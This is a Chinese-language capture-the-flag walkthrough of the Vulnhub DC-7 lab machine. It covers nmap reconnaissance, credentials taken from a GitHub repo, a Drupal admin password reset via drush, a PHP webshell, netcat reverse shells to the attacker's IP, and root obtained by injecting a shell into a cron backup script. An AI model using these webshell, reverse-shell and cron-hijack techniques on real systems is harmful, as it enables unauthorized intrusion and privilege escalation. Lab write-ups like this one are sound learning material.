一、环境搭建

攻击机:Kali-2021.3:192.168.11.132

靶机:Vulnhub-DC-7:192.168.11.141

二、信息收集

主机探活

1
nmap -sP 192.168.11.1-255

扫描目标端口

1
nmap -A -p- 192.168.11.141

同时也知道了这个网站的CMS是Drupal 8

既然知道了CMS,那就去看看有没有什么漏洞可以利用

1
searchsploit drupal 8

我尝试了几个,但都没有什么结果

接着我又用msf尝试一下

但也是一样的结果,没有什么利用的上的

那就说明这个靶机不是按照正常套路来的,那就直接访问一下看看,访问之后发现有作者给出的线索

DC-7 引入了一些“新”概念,但我会让你弄清楚它们是什么。 :-)

虽然这个挑战并不完全是技术性的,但如果您需要诉诸暴力破解或字典攻击,您可能不会成功。

你要做的,就是跳出框框思考。

方式“外”框。 :-)

作者告诉我们思维不要被限制,那就来看看这个网站的特点吧

在这个页面的footer也就是页脚处发现一个看起来并不正常的东西

直接复制去必应搜索一下,搜索后发现有个Github账号

进入后发现他有个项目:staffdb

进入这个项目中,在config.php中发现了一个账户和密码

dc7user / MdR3xOgB7#dW

尝试登录网站后台,但是无论尝试几次,依然是错误的

难道这个是靶场的账号密码吗,想起刚刚开放了22端口,尝试ssh登录

1
ssh dc7user@192.168.11.141

成功登录

三、实战

漏洞利用

先尝试SUID和有无免密的root权限命令

1
2
find / -perm -4000 -print 2>/dev/null
sudo -l

但都没有利用点

那就随便寻找一下有用的信息吧

然后在用户dc7user目录中发现backups目录和mbox文件,先进入backups,发现都是gpg文件*(靶机里是没有html目录的,为什么会有html目录,后面我会提)*,gpg文件是一种加密格式,直接打开的话是一串乱码,而且解密还需要密钥,因此暂时没什么帮助

那就看一下旁边的mbox文件,打开后发现这似乎是管理员(root)的计划任务,会在一定时间后自动执行/opt/scripts/backups.sh文件,还是以root的权限运行

那么思路就清楚了,如果我们可以对这个脚本文件有修改的权限,那么就可以写入反弹root权限shell的内容了,就能得到root权限了

那么就查看一下这个文件的权限吧

1
ls -l /opt/scripts/backups.sh

可以看到我们当前用户并不能对其写入内容,但还是看一下这个文件里有什么内容吧

大部分命令都能够明白,其中有两个命令值得注意:drushgpg,很明显,这个加密的密钥已经能看到了,就是PickYourOwnPassword

然后我回去尝试对其解密,解密成功后将其解压,解压出来后发现就是一个html的文件夹,里面并没什么有用的内容,也许是网站站点的一些源码吧

无果后回来研究这个drush命令,发现这个命令是drupal用来管理数据库的

Drupal drush 常用命令

然后还发现这个命令可以修改密码

那我们就跟着这个脚本文件来到/var/www/html/目录,然后修改密码,第一次尝试修改root用户的密码,发现并不能修改,那就修改默认用户admin的密码试试

1
2
cd /var/www/html/
drush upwd admin --password="123456"

成功修改admin用户密码,后台尝试登录成功

然后在网站中寻找信息,发现在Content → Add content → Basic page中似乎可以写码,但并没有php的选项

然后去网上搜索相关信息“drupal 8 PHP”,在drupal官方中找到了解释:PHP Filter module removed from Drupal core

PHP Filter模块已从Drupal Core中删除,并移至 http://drupal.org/project/php 的一个贡献模块

原来是官方出于安全考虑,将PHP Filter模块移除,但可以作为一个模块(module)手动安装

那就跟着官方给的方法,将PHP模块下载下来

然后回到网站进行安装:Extend → Install new module

安装完成后点击启用

按提示成功启用PHP Filter模块后回到刚刚写码的地方,Text format选择PHP code,然后写入一句话即可

然后复制链接地址,打开蚁剑进行连接

反弹shell

连接成功后进入虚拟终端反弹shell

kali:

1
nc -lvp 2222

蚁剑虚拟终端:

1
nc -e /bin/bash 192.168.11.132 2222

改为交互式shell

1
python -c "import pty;pty.spawn('/bin/bash')"

提权

然后就是写入反弹shell代码进入backups.sh

1
echo "nc -e /bin/bash 192.168.11.132 3333"

然后在kali中监听

1
nc -lvp 3333

然后就是等待这个计划任务的进行,因为执行这个脚本文件的权限是root权限,那么反弹回来的权限自然也是root权限

成功连接后就能找到flag

参考文章

dc-7 靶机渗透学习

DC:7靶机-Walkthrough

Drupal drush 常用命令 - 知乎 (zhihu.com)

使用 GPG 加密和解密文件 | 《Linux就该这么学》 (linuxprobe.com)